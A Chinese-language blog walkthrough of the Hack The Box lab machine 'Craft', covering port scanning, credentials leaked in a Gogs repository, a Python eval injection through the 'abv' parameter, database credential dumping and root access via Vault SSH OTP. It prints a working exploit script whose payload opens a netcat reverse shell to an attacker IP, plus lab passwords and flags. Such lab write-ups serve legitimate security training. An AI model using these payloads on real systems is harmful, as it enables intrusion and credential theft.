BX33661
2025-03-28
点 赞
0
热 度
12
评 论
0

HTB-Craft

文章摘要

Bpple-GPT

Hack The Box

首先是连接上机器之后,进行一个端口扫描

┌──(root㉿zss)-[/home/zss]
└─# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.110 --rate=700
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2025-03-14 13:31:55 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 443/tcp on 10.10.10.110                               
Discovered open port 22/tcp on 10.10.10.110                                
Discovered open port 6022/tcp on 10.10.10.110 

:::success
Q1: How many open TCP ports are listening on Craft? Craft 上有多少个开放的 TCP 端口正在监听?

:::

3 个 tcp 端口开放

:::success
Q2:What domain name is listed as the common name in the TLS certificate on TCP port 443? 什么域名被列在 TCP 端口 443 上 TLS 证书的通用名称中?

:::

由于是 443 端口我们访问访问 https://10.10.10.110,结果如下

craft.htb

还有一个 api 网站,但是我们访问不出来资源,存在域名的话,我们修改 DNS 配置

修改 /etc/hosts

:::success
**Q3:What online git application is linked to from the main website?
**什么在线 Git 应用程序是从主网站链接的?

:::

访问获得 是基于 Gogs 的

GitHub - gogs/gogs: Gogs is a painless self-hosted Git service

gogs 之前听说过,就是一个自助 Git 服务

:::success
**Q4:Besides gogs.craft.htb, what other subdomain of craft.htb is linked to from the main site?
**除了 gogs.craft.htb,还有哪些 craft.htb 的子域名从主站链接过来?

:::

这个之前说过** api.craft.htb**

:::success
**What is the dinesh user's password for the API?
**什么是 dinesh 用户的 API 密码?

:::

我们可以翻这个仓库查找一些信息,他之前的测试记录里面存在一个密码,内容如下

 import requests
 import json
 
-response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)
 json_response = json.loads(response.text)
 token =  json_response['token']

:::success
**What is the full URL of the endpoint on the API where username and password can be sent to get a token?
**API 端点上可以发送用户名和密码以获取令牌的完整 URL 是什么?

:::

这个我们访问 api 文档可以得知

[https://api.craft.htb/api/auth/login](https://api.craft.htb/api/auth/login)

:::success
**What HTTP POST parameter is passed to an unsafe Python eval call?
**什么 HTTP POST 参数传递给不安全的 Python **eval** 调用

:::

就是这个 abv 参数

正好我们可以利用,同时 test 里面存在一个模板

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)

利用/brew/api 反弹 Shell

#!/usr/bin/env python

import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
response = requests.get("https://api.craft.htb/api/auth/login",  auth=("dinesh", "4aUh0A8PbVJxgd"), verify=False)
json_response = json.loads(response.text)
token = json_response["token"]
 
headers = { "X-Craft-API-Token": token, "Content-Type": "application/json" }
response = requests.get("https://api.craft.htb/api/auth/check", headers=headers, verify=False)
 
brew_dict = {}
brew_dict["abv"] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 9999 >/tmp/f')"
brew_dict["name"] = "bullshit"
brew_dict["brewer"] = "bullshit"
brew_dict["style"] = "bullshit"
json_data = json.dumps(brew_dict)
response = requests.post("https://api.craft.htb/api/brew/", headers=headers, data=json_data, verify=False)

:::success
**What user is the api running as?
**该 API 以哪个用户身份运行?

:::

监听然后反弹

可以提升至半交互状态

python -c 'import pty;pty.spawn("/bin/sh")'

:::success
**What is the MySQL password for the craft user?
**什么是 craft 用户的 MySQL 密码?

:::

查找 settings.py文件

/opt/app/craft_api # nl settings.py
     1  # Flask settings
     2  FLASK_SERVER_NAME = 'api.craft.htb'
     3  FLASK_DEBUG = False  # Do not use debug mode in production
   
     4  # Flask-Restplus settings
     5  RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
     6  RESTPLUS_VALIDATE = True
     7  RESTPLUS_MASK_SWAGGER = False
     8  RESTPLUS_ERROR_404_HELP = False
     9  CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
   
    10  # database
    11  MYSQL_DATABASE_USER = 'craft'
    12  MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
    13  MYSQL_DATABASE_DB = 'craft'
    14  MYSQL_DATABASE_HOST = 'db'
    15  SQLALCHEMY_TRACK_MODIFICATIONS = False

python3 -c 'import pty; pty.spawn("/bin/bash")'

得到密码,

我们需要连上 Mysql,或者说在环境中执行带出来信息

修改

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT * FROM `user`"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)

finally:
    connection.close()
  1. ...
  2. 利用 msf
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

我们可以登录上 gogs

我们寻找 ssh 登录的凭证就行.ssh,下载下来

连接上 ssh,密码是我们刚才找的的

连接上 ssh

:::success
**Submit the flag located in the gilfoyle user's home directory.
**提交位于 gilfoyle 用户家目录中的标志。

:::

执行命令获取 flag

gilfoyle@craft:~$ cat user.txt
bc266d22d12f8d02a4693b942a68caec

我们想要获取 /root/root.txt但是权限不够,所以

我们需要再 gogs 找到一些办法

这里有姐扫 vault 的文章

secrets 管理工具 Vault 的介绍、安装及使用

这个就是用的 root 用户,利用 vault

vault write ssh/creds/root_otp ip=10.10.10.110


gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=10.10.10.110
Key                Value
---                -----
lease_id           ssh/creds/root_otp/c1da325e-314b-e0b7-bf48-4de70c3fc5f7
lease_duration     768h
lease_renewable    false
ip                 10.10.10.110
key                fcc5df84-b6a8-2d1c-89ac-bbd91ae30566
key_type           otp
port               22
username           root

得到 key 之后我们连上 root

最后得到 flag,本题结束


用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

具有版权性

请您在转载、复制时注明本文 作者、链接及内容来源信息。 若涉及转载第三方内容,还需一同注明。

具有时效性

目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计